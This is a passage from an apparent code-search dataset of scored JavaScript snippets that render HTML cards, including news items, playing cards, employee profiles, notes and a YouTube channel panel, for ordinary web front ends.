class=\"media\"><i style=\"background-image: url(' + item.tags.icono + ');\" class=\"icon icon-chiptag-categoria\"></i></div><div class=\"chip-label chipHomeCategoryLabel\">' + item.tags.categoria + '</div></div>');\r\n //strBuilderLastNewsContent.push('</div>');\r\n //strBuilderLastNewsContent.push('<a onclick=\"loadNewDetails(' + item.id + ',\\'' + sucesoDetailFromHome + '\\')\" href=\"#\" class=\"item-link item-content\">');\r\n\r\n strBuilderLastNewsContent.push('<div class=\"card-content news-content\">');\r\n\r\n strBuilderLastNewsContent.push('<div class=\"card-content-inner\">');\r\n var urlImgNewsList = getDefaultImageNewsList();\r\n if (item.urlImgMin != \"\") {\r\n urlImgNewsList = item.urlImgMin;\r\n }\r\n strBuilderLastNewsContent.push('<div class=\"row\"><div class=\"col-70\"><div style=\"font-family:Montserrat-Regular; font-size: 16px; color: #585858;text-overflow: ellipsis;overflow: hidden;\">' + item.titulo + '</div></div>');\r\n strBuilderLastNewsContent.push('<div class=\"col-30\"><div class=\"dateTitleNew color-gray\">' + item.fecha.fecha + '</div></div></div>');\r\n strBuilderLastNewsContent.push('<div class=\"row\"><div class=\"col-100\"><div class=\"color-gray homeCardcontent\">' + noticiaTruncada + '</div></div></div>');\r\n\r\n strBuilderLastNewsContent.push('</div></div></a>');\r\n // strBuilderLastNewsContent.push('<div class=\"card-footer tournament-matches-footer\">Ver más...</div>');\r\n strBuilderLastNewsContent.push('</div>');\r\n //strBuilderLastNewsContent.push('</div>');\r\n\r\n //}\r\n\r\n return strBuilderLastNewsContent;\r\n}", "title": "" }, { "docid": "0c69518e0e295349a1bc8dcd93dc36c5", "score": "0.55255187", "text": "postHTML(){\n return (`\n <div class=\"card\">\n <div class=\"card-content\" id=${this.id}>\n <span class=\"card-title\">${this.title}</span>\n <span class=\"card-author\"><p>${this.author}</p></span>\n <span class=\"card-content\"><p>${this.content}</p></span>\n <span class=\"card-likes\"><p class=\"likes\">${this.likes}</p></span>\n <button class=\"like-button\">Like Me!</button>\n <button class=\"update\">Update Me!</button>\n <button class=\"delete\">Delete me? :-(</button>\n </div>\n </div>\n `)\n }", "title": "" }, { "docid": "80777d66cbc814adeda42585990f7d32", "score": "0.5499061", "text": "function appendCard() {\n const cardFragment = document.createDocumentFragment();\n const cardContainer = document.createElement('div');\n cardContainer.classList.add('mb--lg');\n if (cardMarkup) {\n cardContainer.innerHTML = cardMarkup();\n }\n cardFragment.appendChild(cardContainer);\n document.getElementById('root').appendChild(cardFragment);\n}", "title": "" }, { "docid": "71ece4544d53314f0ccca4625ba52b27", "score": "0.5490819", "text": "function appendCardDeck() {\n\t\tvar snippet = '<div class=\"card-deck-wrapper\">\\n'+\n\t\t'\t<div class=\"card-deck\">\\n'+\n\t\t'\t\t<div class=\"card\">\\n'+\n\t\t'\t\t\t<img class=\"card-img-top\" src=\"...\" alt=\"Card image cap\">\\n'+\n\t\t'\t\t\t<div class=\"card-block\">\\n'+\n\t\t'\t\t\t\t<h4 class=\"card-title\">Card title</h4>\\n'+\n\t\t'\t\t\t\t<p class=\"card-text\">This is a longer card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p>\\n'+\n\t\t'\t\t\t\t<p class=\"card-text\"><small class=\"text-muted\">Last updated 3 mins ago</small></p>\\n'+\n\t\t'\t\t\t</div>\\n'+\n\t\t'\t\t</div>\\n'+\n\t\t'\t\t<div class=\"card\">\\n'+\n\t\t'\t\t\t<img class=\"card-img-top\" src=\"...\" alt=\"Card image cap\">\\n'+\n\t\t'\t\t\t<div class=\"card-block\">\\n'+\n\t\t'\t\t\t\t<h4 class=\"card-title\">Card title</h4>\\n'+\n\t\t'\t\t\t\t<p class=\"card-text\">This card has supporting text below as a natural lead-in to additional content.</p>\\n'+\n\t\t'\t\t\t\t<p class=\"card-text\"><small class=\"text-muted\">Last updated 3 mins ago</small></p>\\n'+\n\t\t'\t\t\t</div>\\n'+\n\t\t'\t\t</div>\\n'+\n\t\t'\t\t<div class=\"card\">\\n'+\n\t\t'\t\t\t<img class=\"card-img-top\" src=\"...\" alt=\"Card image cap\">\\n'+\n\t\t'\t\t\t<div class=\"card-block\">\\n'+\n\t\t'\t\t\t\t<h4 class=\"card-title\">Card title</h4>\\n'+\n\t\t'\t\t\t\t<p class=\"card-text\">This is a wider card with supporting text below as a natural lead-in to additional content. This card has even longer content than the first to show that equal height action.</p>\\n'+\n\t\t'\t\t\t\t<p class=\"card-text\"><small class=\"text-muted\">Last updated 3 mins ago</small></p>\\n'+\n\t\t'\t\t\t</div>\\n'+\n\t\t'\t\t</div>\\n'+\n\t\t'\t</div>\\n'+\n\t\t'</div>';\n\n\t\tvar editor = edManager.getCurrentFullEditor();\n\t\tif(editor){\n\t\t\tvar insertionPos = editor.getCursorPos();\n\t\t\teditor.document.replaceRange(snippet, insertionPos);\n\t\t}\n\t}", "title": "" }, { "docid": "bd829f361ac9527d1c6c19a7c45720e6", "score": "0.54808754", "text": "function changeCard(card) {\n return `<div class=\"card_body\">\n<div class=\"card_detail\" style=\"color:${card.color};\">\n<h1 class=\"card_top\">${card.value}</h1>\n<h4 class=\"card_suit_top\">${card.suit}</h4>\n<h1 class=\"card_suit\">${card.suit}</h1>\n<h4 class=\"card_suit_bottom\">${card.suit}</h4>\n<h1 class=\"card_bottom\">${card.value}</h1>\n</div>\n</div>`;\n}", "title": "" }, { "docid": "7d4d262056fda84fa470288e1477e663", "score": "0.5472854", "text": "render() {\n return (\n <div className = \"container-flush mx-5 py-5 background shadow rounded\">\n <div className = \"row justify-content-around\">\n {this.state.items.map(item => (\n <ChannelCard key={item.channel}\n channelFromData={item.channel} timeFromData={item.time} titleFromData={item.title} linkFromData={item.link} />\n ))}\n </div>\n <div>\n <a href={'https://github.com/juliuu/broadcastor'} target=\"blank\" className=\"mt-5\">\n {'FrontEnd'}\n </a>\n </div>\n <div>\n <a href={'https://github.com/juliuu/broadcastor-api'} target=\"blank\" className=\"mt-5\">\n {'BackEnd'}\n </a>\n </div>\n </div>\n );\n }", "title": "" }, { "docid": "4bb667bd5033ed223f6a02edfd0f7bcb", "score": "0.54695684", "text": "function renderCardFront(item) {\r\n const meta = metadata[item.type];\r\n\r\n return `\r\n <div class=\"flip-card-front ${meta.class}\">\r\n <div style=\"background-image: url('${item.image}')\" class=\"card-header\">\r\n <div class=\"card-header-content\">\r\n ${renderCardHeader(item)} \r\n </div>\r\n </div>\r\n <div class=\"card-content\">\r\n <div class=\"date\">\r\n <span class=\"month ${meta.class}\">SEP</span>\r\n <span class=\"day\">18</span>\r\n </div>\r\n <div class=\"info\">\r\n <span class=\"title\">${item.title}</span>\r\n <span class=\"description\">${item.description.substr(\r\n 0,\r\n 100\r\n )}...</span>\r\n </div>\r\n </div>\r\n </div>\r\n `;\r\n }", "title": "" }, { "docid": "16f11a2f46684a4277b4634df897c880", "score": "0.5469466", "text": "function renderCardHeader(data) {\r\n const meta = metadata[data.type];\r\n\r\n return `\r\n <div class=\"badge ${meta.class}\">\r\n <span class=\"badge-label\">\r\n ${meta.name}\r\n </span>\r\n </div>\r\n <div class=\"info\">\r\n ${\r\n meta.icon\r\n ? `<div class=\"round ${meta.class}\"><i class=\"fas fa-${meta.icon}\"></i></div>`\r\n : \"\"\r\n }\r\n </div>\r\n `;\r\n }", "title": "" }, { "docid": "0825a7ce96c9301f36de4884a7fd5fda", "score": "0.5462941", "text": "function channel() {\r\n let mainsection = document.getElementById(\"mainsection\");\r\n mainsection.style.display=\"none\"\r\n let div = document.createElement(\"div\");\r\n div.setAttribute(\"id\", \"content\");\r\n let img = document.createElement(\"img\");\r\n let logo_title = document.createElement(\"h2\");\r\n let subbtn = document.createElement(\"button\");\r\n let mains = document.getElementById(\"channelsection\");\r\n let page_description=document.createElement(\"div\")\r\n let page_views=document.createElement(\"div\")\r\n let page_country=document.createElement(\"div\")\r\n mains.append(div);\r\n div.append(img);\r\n div.append(logo_title);\r\n div.append(page_description);\r\n div.append(page_views);\r\n div.append(page_country);\r\n let btndiv = document.createElement(\"div\");\r\n div.append(btndiv);\r\n btndiv.append(subbtn);\r\n\r\n\r\n let channelUrl = `https://youtube.googleapis.com/youtube/v3/channels?part=snippet%2CcontentDetails%2Cstatistics&id=UClmN_GEF81wpFXdSJ5rFxTw&key=${apiKey}`;\r\n let channeldata = fetch(channelUrl);\r\n channeldata\r\n .then(function (response) {\r\n return response.json();\r\n })\r\n .then(function (response) {\r\n // console.log(response);\r\n channel_logo = response.items[0].snippet.thumbnails.default.url;\r\n logo_width = response.items[0].snippet.thumbnails.default.width;\r\n logo_height = response.items[0].snippet.thumbnails.default.height;\r\n channel_title = response.items[0].snippet.title;\r\n page_views.innerHTML =response.items[0].statistics.viewCount+\" views\";\r\n page_description.innerHTML = response.items[0].snippet.description ;\r\n page_country.innerHTML = \"Country: \"+response.items[0].snippet.country ;\r\n // console.log(channel_logo);\r\n img.setAttribute(\"src\", channel_logo);\r\n img.setAttribute(\"width\", logo_width);\r\n img.setAttribute(\"height\", logo_height);\r\n img.setAttribute(\"id\", \"channel_logo\");\r\n logo_title.innerHTML = channel_title;\r\n logo_title.setAttribute(\"id\", \"channel_title\");\r\n subbtn.innerText = \"Subscribe\";\r\n subbtn.setAttribute(\"id\", \"subbtn\");\r\n subbtn.setAttribute(\"class\", \"btn btn-danger\");\r\n \r\n\r\n\r\n // console.log(response.items[0].snippet.description);\r\n // console.log(response.items[0].snippet.country);\r\n // console.log(\"joined \"+response.items[0].snippet.publishedAt);\r\n // console.log(response.items[0].statistics.viewCount+\" views\");\r\n\r\n channel_playlist();\r\n });\r\n}", "title": "" }, { "docid": "4974750a6fa8266b613652ba4f5e3b5b", "score": "0.54588634", "text": "function displayDealerHand() {\n dealerHandHtml.innerHTML = '';\n dealerHand.forEach(function(card, idx) {\n let c = `<div class = \"card ${card.face}\"></div>`\n if(idx === 1 && initialFaceDown) {\n c = `<div class = \"card back-red\"></div>`\n initialFaceDown = false;\n } \n dealerHandHtml.innerHTML += c;\n \n })\n}", "title": "" }, { "docid": "a5be039759bd4617c2e584b6c920dca0", "score": "0.5452977", "text": "function renderPaymentContent() { \n var htmlStr = `\n <div class=\"row\">\n <p class=\"card\"><span class=\"bold\">Number card:</span> ●●●●${paymentModel.cardNumber.slice(-4)}</p>\n </div>`;\n\n $('.payment-content').html(htmlStr);\n}", "title": "" }, { "docid": "dcfc5bcc45612d81802f1799bbf7c8e5", "score": "0.54435015", "text": "createHTML(){\n return `\n <div class=\"col s12 m4 l4 center\">\n <div class=\"card\">\n <div class=\"card-image\">\n <i\n class=\"medium material-icons\">account_circle</i>\n <span class=\"card-title\">\n </span>\n </div>\n\n <h3>${this.getName()}</h3>\n <h5>Manager</h5>\n\n <div class=\"card-content\">\n <ul class=\"collection\">\n <li\n class=\"collection-item\">\n ID:${this.getId()}</li>\n <li\n class=\"collection-item\">\n Email:<a\n href=\"mailto:${this.getEmail()}\">${this.getEmail()}</a>\n </li>\n <li\n class=\"collection-item\">\n Office Number:${this.getOfficeNumber()}\n </li>\n </ul>\n </div>\n </div>\n</div>\n `\n }", "title": "" }, { "docid": "8e00fde53828b59a698d366cb31698b3", "score": "0.54323983", "text": "function appendCollaboratorCard(user, title, text, cardId, divId, color) {\n if (divId == 'pinned')\n url = '../icons/pinned.svg'\n else url = '../icons/pin.svg'\n imgSrc = \"\"\n document.getElementById(divId).innerHTML += \"<div class='col-md-4' id='\" + cardId + \"'><div class='card' style='background-color:\" + color + \"'>\" +\n '<a href=\"pin?cardId=' + cardId + '\"><img src=' + url + ' style=\"float:right\" alt=\"pin\" id=\"pinIcon\"/></a>' +\n // \"<div class='cardImage'> </div>\"+\n \"<div class='cardImage'></div><div class='card-content'><div class='title cardTitle' name='title' style='background-color:\" + color + \"'><p>\" + title + \"</p></div>\" +\n \"<div class='cardText' style='background-color:\" + color + \";'><p>\" + text + \"</p></div></div>\" +\n \"<div class='card-footer'><div><div id='footerButtons'>\" +\n \"<a data-toggle='tooltip' title='Set Reminder' class='popoverReminder' id='load'><i class='material-icons'>alarm</i></a>\" +\n '<a data-toggle=\"tooltip\" title=\"send to archive\" href=\"/moveToArchive?cardId=' + cardId + '\"><i class=\"material-icons\" >archive</i></a>&nbsp' +\n '<div data-toggle=\"tooltip\" title=\"Add collaborator\" class=\"dropdown\"><a class=\"dropdown-toggle\" id=\"collaboratorDropdown\" data-toggle=\"dropdown\"><i class=\"material-icons\">person_add</i></a>' +\n '<div class=\"dropdown-menu\"><ul style=\"width: 350px !important;\" id=\"collaboratorList\">' +\n '</ul><form method=\"POST\" action=\"/addPerson?cardId=' + cardId + '\"><input type=\"text\" placeholder=\"Enter email id..\" name=\"personEmail\"><br><button type=\"submit\" class=\"btn btn-primary\">Add</button></form></div></div>&nbsp' +\n '<div data-toggle=\"tooltip\" title=\"Change color\" class=\"dropdown\"><a class=\"dropdown-toggle\" data-toggle=\"dropdown\"><i class=\"material-icons\">color_lens</i></a><ul class=\"dropdown-menu navbar-right\">' +\n // '<div class=\"row\">'+\n '<span class=\"col-sm-2\"><a data-toggle=\"tooltip\" title=\"white\" href=\"/changeColor?cardId=' + cardId + '&color=RGB(255, 255, 255)\"><img class=\"img-circle\" src=\"../Images/c1.png\" height=\"20px\" width=\"20px\"/></a></span>' +\n '<span class=\"col-sm-2\"><a data-toggle=\"tooltip\" title=\"red\" href=\"/changeColor?cardId=' + cardId + '&color=RGB(255, 170, 170)\"><img class=\"img-circle\" src=\"../Images/c2.png\" height=\"20px\" width=\"20px\"/></a></span>' +\n '<span class=\"col-sm-2\"><a data-toggle=\"tooltip\" title=\"orange\" href=\"/changeColor?cardId=' + cardId + '&color=RGB(255, 224, 170)\"><img class=\"img-circle\" src=\"../Images/c3.png\" height=\"20px\" width=\"20px\"/></a></span>' +\n '<span class=\"col-sm-2\"><a data-toggle=\"tooltip\" title=\"yellow\" href=\"/changeColor?cardId=' + cardId + '&color=RGB(255, 250, 170)\"><img class=\"img-circle\" src=\"../Images/c4.png\" height=\"20px\" width=\"20px\"/></a></span>' +\n // '<div class=\"row\">'+\n '<span class=\"col-sm-2\"><a data-toggle=\"tooltip\" title=\"green\" href=\"/changeColor?cardId=' + cardId + '&color=RGB(214, 255, 170)\"><img class=\"img-circle\" src=\"../Images/c5.png\" height=\"20px\" width=\"20px\"/></a></span>' +\n '<span class=\"col-sm-2\"><a data-toggle=\"tooltip\" title=\"teal\" href=\"/changeColor?cardId=' + cardId + '&color=RGB(170, 255, 245)\"><img class=\"img-circle\" src=\"../Images/c6.png\" height=\"20px\" width=\"20px\"/></a></span>' +\n '<span class=\"col-sm-2\"><a data-toggle=\"tooltip\" title=\"blue\" href=\"/changeColor?cardId=' + cardId + '&color=RGB(128, 225, 242)\"><img class=\"img-circle\" src=\"../Images/c7.png\" height=\"20px\" width=\"20px\"/></a></span>' +\n '<span class=\"col-sm-2\"><a data-toggle=\"tooltip\" title=\"dark-blue\" href=\"/changeColor?cardId=' + cardId + '&color=RGB(151, 183, 252)\"><img class=\"img-circle\" src=\"../Images/c8.png\" height=\"20px\" width=\"20px\"/></a></span>' +\n // '<div class=\"row>\"'+\n '<span class=\"col-sm-2\"><a data-toggle=\"tooltip\" title=\"purple\" href=\"/changeColor?cardId=' + cardId + '&color=RGB(193, 149, 249)\"><img class=\"img-circle\" src=\"../Images/c9.png\" height=\"20px\" width=\"20px\"/></a></span>' +\n '<span class=\"col-sm-2\"><a data-toggle=\"tooltip\" title=\"pink\" href=\"/changeColor?cardId=' + cardId + '&color=RGB(242, 179, 231)\"><img class=\"img-circle\" src=\"../Images/c10.png\" height=\"20px\" width=\"20px\"/></a></span>' +\n '<span class=\"col-sm-2\"><a data-toggle=\"tooltip\" title=\"brown\" href=\"/changeColor?cardId=' + cardId + '&color=RGB(196, 178, 161)\"><img class=\"img-circle\" src=\"../Images/c11.png\" height=\"20px\" width=\"20px\"/></a></span>' +\n '<span class=\"col-sm-2\"><a data-toggle=\"tooltip\" title=\"gray\" href=\"/changeColor?cardId=' + cardId + '&color=RGB(204, 204, 204)\"><img class=\"img-circle\" src=\"../Images/c12.png\" height=\"20px\" width=\"20px\"/></a></span>' +\n '</ul></div>&nbsp' +\n '<div data-toggle=\"tooltip\" title=\"Add Image\" class=\"dropdown\"><a data-toggle=\"dropdown\"><i class=\"material-icons\">insert_photo</i></a><ul class=\"dropdown-menu\">' +\n '<form id=\"frmUploader\" enctype=\"multipart/form-data\" action=\"/addImage?cardId=' + cardId + '\" method=\"post\">' +\n '<input name=\"imgUploader\" type=\"file\" id=\"imgSrc\" multiple/><input type=\"submit\"></input></form></ul></div>' +\n \"<div class='dropdown'><a class='dropdown-toggle' data-toggle='dropdown'><i class='material-icons'>more_vert</i></a>\" +\n '<ul class=\"dropdown-menu\"><li><a href=\"/removeMyself?cardId=' + cardId + '\">Remove myself</a></li></ul></div>' +\n \"</div></div><div>\"\n}", "title": "" }, { "docid": "60366397e33be4963c30be4ed9ce66f3", "score": "0.542433", "text": "render() {\n const code=\"<code/>\"\n return (\n <header className=\"bg-primary \">\n <div className=\"container text-danger\">\n <div className=\"row\">\n {/* Start of col */}\n <div className=\"col-md-6 mt-5 card-body text-center\">\n <h1 className=\"display-2 text-center mt-5 text-white\">Design</h1> \n <button className=\"btn btn-lg btn-outline-warning mt-5 text-white\" >View Projects</button>\n </div>\n {/* End of col */}\n {/* Start of col */}\n <div \n className=\"col-md-6 card-body code mt-5 text-center\">\n <h1 className=\"display-2 text-center mt-5 text-white \"> {code}</h1> \n <button className=\"btn btn-lg btn-outline-warning mt-5 text-white\">View Projects</button>\n </div>\n {/* End of col */}\n </div>\n </div>\n </header>\n )\n }", "title": "" }, { "docid": "ceb49fcfd308b152be1a79670365b89b", "score": "0.540911", "text": "function getCardDisplayHTML(card) {\n\tvar combatActionsText = (card.combatActions != null ? card.combatActions.description : \"\");\n\tvar factionBonusText = (card.factionBonus != null ? card.factionBonus.description : \"\");\n\tvar abilitiesText = (card.hasOwnProperty(\"abilities\") ? card.abilities : \"\");\n\n\tvar htmlString = \n\t\t\"<div class=\\\"card-container\\\" card-local-id=\\\"\" + card.localId + \"\\\">\" +\n\t\t\"<div class=\\\"header\\\">\" +\n\t\t\"<h3>\" + card.name + \"</h3>\" + \"<div class=\\\"filler\\\"></div>\" + \"<h3>Lvl.\" + card.level + \"</h3>\" +\n\t\t\"</div>\" +\n\t\t\"<img src=\\\"\" + card.imagePath + \"\\\" alt=\\\"placeholder image\\\">\" +\n\t\t\"<bodyHeaderCombat>Combat Actions</bodyHeaderCombat>\" + \"<p>\" + combatActionsText + \"</p>\" +\n\t\t\"<bodyHeaderAbilities>Abilities</bodyHeaderAbilities>\" + \"<p>\" + abilitiesText + \"</p>\" +\n\t\t\"<bodyHeaderFaction>Faction Bonus</bodyHeaderFaction>\" + \"<p>\" + factionBonusText + \"</p>\" +\n\t\t\"<div class=\\\"hp-dmg-container\\\">\" +\n\t\t\"<hpHeader>HP: \" + card.hp + \"</hpHeader>\" +\n\t\t\"<dmgHeader>DMG: \" + card.dmg + \"</dmgHeader>\" +\n\t\t\"</div>\" +\n\t\t\"</div>\"\n\t;\n\n\tfor (var i = 0; i < card.modifiers.length; i++) {\n\t\thtmlString += \"<span class=\\\"modifier-text\\\">\" + card.modifiers[i].name + \"</span>\";\n\t}\n\n\treturn htmlString;\n}", "title": "" }, { "docid": "d3a9b77b385c24614b60b0781c69ada5", "score": "0.5406835", "text": "function displayLeftMessage(message) {\n currentDateTime = getFormattedDate(); // get current date time\n // create a declartive string that can be parsed into and HTML object by jQuery. The message is inserted into place in the HTML\n str = \"<div class='direct-chat-msg'><div class='direct-chat-info clearfix'><span class='direct-chat-name pull-left'>Agent</span><span class='direct-chat-timestamp pull-right'>\" + currentDateTime + \"</span></div><img class='direct-chat-img' src='/img/administrator-male.png' alt='message user image'><div class='direct-chat-text'>\" + message + \"</div></div>\";\n html = $.parseHTML(str);\n //console.log(html);\n $(\".direct-chat-messages\").append(html);\n}", "title": "" }, { "docid": "97a7eae36b00a3829ad8b30ae199def6", "score": "0.53855306", "text": "function addReportCardHeaders() {\n\t// update the code here\n\treportCardTable.innerHTML += `\n\t<div class=\"table-header\">\n\t<h4>Code</h4>\n\t<h4>Name</h4>\n\t<h4>Credits</h4>\n\t<h4>Letter</h4>\n\t</div>\n\t`;\n}", "title": "" }, { "docid": "fc6406c3418e68929c85dfb7f5d8d43a", "score": "0.53733", "text": "function drawCard(newCell, card){\n newCell.innerHTML = `<div class=\"card ` + arrTypes[card.cardType] + `\" id=\"cardNumber\" value=\"` + getCardType(card.cardNumber) + `\">\n <div class=\"card__inner card__inner--centered\">\n <div class=\"card__column\">\n <div class=\"card__symbol\"></div>\n \n </div>\n </div>\n </div>`;\n}", "title": "" }, { "docid": "bbc15f716ba21282d86172b20c33e9ed", "score": "0.53672284", "text": "function sideBarContent(item) {\r\n var addvar = item.ENTITY_ADDR1 + ', ' + item.ENTITY_STATE + ', ' + item.ENTITY_CITY + ', ' + item.ENTITY_ZIP;\r\n\r\n var strVar = '';\r\n strVar += `<div class=\"ui card sidebarcard\">`\r\n strVar += `\t\t<div class=\"content\">`\r\n strVar += `\t\t\t<img class=\"left floated mini ui image\" src=\"https://semantic-ui.com/images/avatar/large/elliot.jpg\" style=\"height: 30px;\">`\r\n strVar += `\t\t\t<div class=\"header\" style=\"font-size: ${dimens.sideBarTitleFontSize};\">${toTitleCase(item.ENTITY_NAME)}</div>`\r\n strVar += `\t\t\t<div class=\"meta\" style=\"font-size: ${dimens.sideBarSubTitleFontSize}\">${item.ENTITY_ORG_TYPE}</div>`\r\n strVar += `\t\t\t<div><address> <a style=\"font-size: ${dimens.sideBarSubTitleFontSize};\" target=\"_blank\" href=\"https://maps.google.com/?q=${addvar}\">${addvar}</a> </address></div>`\r\n strVar += `\t\t\t<div class=\"ui divider\"></div><div class=\"description\">`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">Net Patient Revenue </span> <span class= \"right-float\"><b>$ ${item.NET_PATIENT_REVENUE}B</b></span> </div><br>`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">Net Income: </span> <span class= \"right-float\"><b>$ ${item.NET_INCOME} B</b></span> </div><br>`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">Net Income Margin: </span> <span class= \"right-float\"><b>$ ${item.NET_INCOME_MARGIN} B</b></span> </div>`\r\n strVar += `\t\t\t\t<div class=\"ui divider\"></div>`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">No of Employed Physicians </span> <span class= \"right-float\"><b>342</b></span> </div><br>`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">No of Affiliated OSUBs </span> <span class= \"right-float\"><b>${item.NO_OF_OSUBS}</b></span> </div><br>`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">No of Affiliated Hospitals </span> <span class= \"right-float\"><b>${item.NO_OF_HOSPS}</b></span> </div><br>`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">No of Affiliated SOCs </span> <span class= \"right-float\"><b>${item.NO_OF_SOCS}</b></span> </div>`\r\n strVar += `\t\t\t\t<div class=\"ui divider\"></div>`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">Structure Segment: </span> <span class= \"right-float\"><b>${item.STRUCTURE_SEGMENT}</b></span> </div><br>`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">Patient Experience Segment: </span> <span class= \"right-float\"><b>${item.PATIENT_EXPERIENCE_SEGEMENT}</b></span> </div><br>`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">Quality Segment: </span> <span class= \"right-float\"><b>${item.QUALITY_SEGMENT}</b></span> </div><br>`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">Research Segment: </span> <span class= \"right-float\"><b>${item.RESEARCH_SEGEMENT}</b></span> </div><br>`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">Willingness to Partner Segment: </span> <span class= \"right-float\"><b>${item.WILLINGNESS_TO_PATNER_SEGMENT}</b></span> </div><br>`\r\n strVar += `\t\t\t\t<div style=\"font-size: ${dimens.sideBarContentFontSize};\">Expression Segment: </span> <span class= \"right-float\"><b>${item.EXPRESSION_SEGMENT}</b></span> </div>`\r\n strVar += `\t\t</div>`\r\n strVar += `</div>`\r\n\r\n return strVar\r\n\t\t}", "title": "" }, { "docid": "6bebfcc3e941e7adf4ae9638ec84eeb2", "score": "0.5359275", "text": "renderString() {\n return `\n <div class=\"list\">\n ${this.cardList.join('')}\n </div>\n `;\n }", "title": "" }, { "docid": "465df846e48e68b9600814ac8b37bac2", "score": "0.53581876", "text": "function renderMPCard(mp) {\n\n let title = mp['Honorific Title'];\n let personName = `${title} ${mp.Fname} ${mp.Lname}`;\n let backgroundColour = colours[mp['Political Affiliation']];\n\n $('#FloorPlanCardPhoto').attr('src', mp.ImgUrl);\n $('#PersonName').text(personName);\n $('#CaucusName').text(mp['Political Affiliation']);\n $('#ConstituencyName').text(mp.Constituency);\n $('#ProvinceName').text(mp.Province);\n $('#CaucusColour').css('background-color', backgroundColour);\n $('#FloorPlanCard-Horizontal').css('visibility', 'visible');\n\n return;\n}", "title": "" }, { "docid": "2abcd10d4fbbacc0969f2c7b7f0e9c60", "score": "0.5342589", "text": "view() {\n\t\treturn (\n<div class={header_style.header_wrap_div}>\n\t{this.HeaderStore.header_title_stream}\n</div>\n\t\t);\n\t}", "title": "" }, { "docid": "fdd75f40a9db9f2ec2e4597130da1c51", "score": "0.5333288", "text": "printHTML(){\n let html = `<div class=\"card\">\n <div class=\"card-img-container\">\n <img class=\"card-img\" src=\"${this.mediumPic}\" alt=\"profile picture\">\n </div>\n <div class=\"card-info-container\">\n <h3 id=\"name\" class=\"card-name cap\">${this.firstName} ${this.lastName}</h3>\n <p class=\"card-text\">${this.email}</p>\n <p class=\"card-text cap\">${this.city}</p>\n </div>\n </div>`\n employeeGallery.innerHTML += html;\n }", "title": "" }, { "docid": "026b616891f7b573effad0be2351dda8", "score": "0.5331341", "text": "render() {\n\t\treturn (\n\t\t\t<div className=\"panel panel-default post-editor\">\n\t <div className=\"panel-body\">\n\t Whats UP\n\t </div>\n\t </div>\n\t\t)\n\t}", "title": "" }, { "docid": "cfb464dca4ebdfd5cfb39900e17ad7ee", "score": "0.5328138", "text": "render() {\n const { title, html } = this.props\n return (\n <div className=\"widget-body card-body\">\n <h5 className=\"widget-title card-title\">{title}</h5>\n <div\n className=\"widget-text card-text text-truncate\"\n dangerouslySetInnerHTML={{ __html: html }}\n />\n </div>\n )\n }", "title": "" }, { "docid": "48465caf87a8a12bcfc2a221ac38b46f", "score": "0.5320662", "text": "function backOfCard(card) {\n return `<div class=\"back\">\n</div>`;\n}", "title": "" }, { "docid": "d1a735f5cb42f78ef82f468d098b5a24", "score": "0.53176415", "text": "function createInternCard(intern) {\n return `<div class=\"card is-one-third has-text-centered \">\n \n <div class=\"card-content has-background-success-light\">\n <div class=\"media\">\n <div class=\"media-left\">\n </div>\n <div class=\"media-content\">\n <p class=\"title is-4\">Intern <i class=\"fas fa-user-graduate\"></i></p>\n <p class=\"subtitle is-6\">Name: ${intern.name}</p>\n </div>\n </div>\n \n <div class=\"content\">\n <p>Employee ID: ${intern.id}</p>\n <p>Email: <a target=\"_blank\" href=\"mailto:${intern.email}\">${intern.email}</a></p>\n <p>School Name: ${intern.school}</p>\n </div>\n </div>\n </div>`\n}", "title": "" }, { "docid": "3cda0481d361a61f760bb0bc7ca5bf98", "score": "0.53110623", "text": "function render () {\n // Clear out HTML that contains any left over messages\n messageCards.empty();\n // create HTML to append\n let messageCardsHtml = messages.map( (message) => {\n console.log(message);\n return `\n <div class=\"card mb-4 shadow-sm\">\n <div class=\"image-cropper\">\n <img class=\"card-img-top smaller clip-circle\" src=\"${message.photoUrl}\" alt=\"Card image cap\">\n </div>\n <div class=\"card-body\">\n <h3 class=\"card-text\">To: ${message.representative}</h3>\n <p class=\"center\">${message.partyAffiliation}</p>\n <p class=\"center\">From: ${message.name}</p>\n <p class=\"center\">${message.content}</p>\n <div class=\"d-flex justify-content-between align-items-center\">\n <div class=\"btn-group\">\n <button type=\"button\" class=\"btn btn-sm btn-outline-secondary changeBtn editBtn\" data-id=\"${message._id}\">Edit</button>\n <button type=\"button\" class=\"btn btn-sm btn-outline-secondary changeBtn deleteBtn\" data-id=\"${message._id}\">Delete</button>\n </div>\n </div>\n </div>\n </div>\n `\n }).join('');\n messageCards.append(messageCardsHtml);\n }", "title": "" }, { "docid": "18ec4014d59230778b78286d54f8f5a5", "score": "0.5310066", "text": "function fadeLeftCard() {\n\t\tsetFlashCard();\n\t\t$('.flash-card').first().animate({\n\t\t\topacity: 1,\n\t\t\tleft: '+=100'\n\t\t}, 500);\n\t}", "title": "" }, { "docid": "bc6a78e9d6f985ec0467ad1a5e2d64f0", "score": "0.53085303", "text": "_displayHeader() {\n document.getElementById(\"header-icon\").src = this._guild.iconURL;\n document.getElementById(\"guild-name\").textContent = this._guild.name;\n document.getElementById(\"manage-plugin-link\").href += this._guild.discordId;\n }", "title": "" }, { "docid": "db421f3b1fe4bb397c68728c0bf988b2", "score": "0.52969754", "text": "static formatQuoteCard(quote) {\n var color = (quote.curr_change == 0) ? 'black' : (quote.curr_change > 0) ? 'green' : 'red';\n var symbol = (quote.curr_change == 0) ? 'UNCH' : (quote.curr_change > 0) ? '&#9650;' : '&#9660;';\n return new 